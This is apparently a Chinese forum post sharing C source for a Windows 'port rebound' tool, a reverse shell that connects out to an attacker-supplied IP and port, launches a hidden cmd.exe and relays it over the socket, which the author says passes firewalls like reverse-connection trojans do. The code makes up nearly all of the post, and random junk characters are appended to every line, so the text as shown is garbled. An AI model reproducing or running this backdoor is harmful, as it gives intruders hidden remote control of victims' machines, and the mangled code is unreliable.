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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }fO+b5U  
s!<RWy+  
/* ============================== z@I'Ryalyc  
Rebound port in Windows NT tNoPpIu  
By wind,2006/7 CiWz>HWH  
===============================*/ L:j3  
#include 4SVIdSA  
#include dJv2tVm&'  
?}RPn f  
#pragma comment(lib,"wsock32.lib") +>3jMs~&  
[s4|+  
void OutputShell(); 3c%_RI.  
SOCKET sClient; m^%@bu,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; bog3=Ig-  
f+!k:}K  
void main(int argc,char **argv) )Fgu'  
{ y0f:N U  
WSADATA stWsaData; k,eo+qH.Hz  
int nRet; }ChScY  
SOCKADDR_IN stSaiClient,stSaiServer; | |"W=E  
3iM7c.f*/  
if(argc != 3) "7q!u,u  
{ P{,A%t  
printf("Useage:\n\rRebound DestIP DestPort\n"); ui RO,B}z  
return; +pPfvE`  
} ee/3=/H|;  
`^ZhxFX  
WSAStartup(MAKEWORD(2,2),&stWsaData); Um^4[rl:#g  
9;7Gzr6A"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )x+P9|  
'8Cg2v5&w  
stSaiClient.sin_family = AF_INET; =kTHfdin&  
stSaiClient.sin_port = htons(0); v-Tkp Yn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j(A>M_f;  
3{)!T;Wd  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OUq%d8 W  
{ A(_HM qA]  
printf("Bind Socket Failed!\n"); n:|a;/{I]9  
return; {p.^E5&  
} &@K6;T  
9>ajhFyOhX  
stSaiServer.sin_family = AF_INET; ayI<-s-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %oB0@&!mS  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _h+7 KK  
[QFAkEJ--o  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h0R.c|g[  
{ IwXWtVL  
printf("Connect Error!"); kXV;J$1  
return; +E^2]F7Zk  
} a,36FF~&  
OutputShell(); IaZmN.k*  
} L{&>,ww  
AJ+\Qs(0  
void OutputShell() N5c*#lHI  
{ jG~-V<&  
char szBuff[1024]; :i4AkBNK  
SECURITY_ATTRIBUTES stSecurityAttributes; 2vTO>*t  
OSVERSIONINFO stOsversionInfo; 2?Y8hm  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $l2`@ia"  
STARTUPINFO stStartupInfo; &gJ1*"$9  
char *szShell; )DmydyQ'  
PROCESS_INFORMATION stProcessInformation; CBO*2?]s  
unsigned long lBytesRead; ",l6-<s  
!Q WNHL  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7t+d+sQ-l  
mPU}]1*p  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  svx7  
stSecurityAttributes.lpSecurityDescriptor = 0; AR!v%Z49i  
stSecurityAttributes.bInheritHandle = TRUE; NE.h/+4  
 v%$l(  
_&~l,%)&  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,hH c -%-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i=L 86Ks  
{yv_Ni*6!  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I{ Ip  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; : tBe/(e4#  
stStartupInfo.wShowWindow = SW_HIDE; )RN3Oz@H  
stStartupInfo.hStdInput = hReadPipe; 0cSm^a  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O|S,="h"}  
L(bDk'zi  
GetVersionEx(&stOsversionInfo); v4Wq0>o  
_CPj] m{  
switch(stOsversionInfo.dwPlatformId) >fMzUTJ4  
{ d5NE:%K  
case 1: )w~1VcnJEp  
szShell = "command.com"; tA^+RO4  
break; X{Fr  
default: S{?l/*Il*_  
szShell = "cmd.exe"; aGBd~y@e  
break; 1d~d1Rd  
} je@&|9h  
&c 2Qa  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J6[}o4Z  
r95 ,X!  
send(sClient,szMsg,77,0); T ay226  
while(1) zJP jsD]  
{ -.r"|\1X  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yUWc8]9\W  
if(lBytesRead) D_?Tj  
{ ZR -RzT1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); KTt+}-vP^  
send(sClient,szBuff,lBytesRead,0); !zt>& t  
} `-%dHvB^R  
else g4=C]\1  
{ IqV" 4  
lBytesRead=recv(sClient,szBuff,1024,0); e,{k!BXU#'  
if(lBytesRead<=0) break; ysZ(*K n(?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q_6lD~~q^  
} [) 0JI6  
} |||m5(`S  
VXiU5n^  
return; _YG@P1  
}
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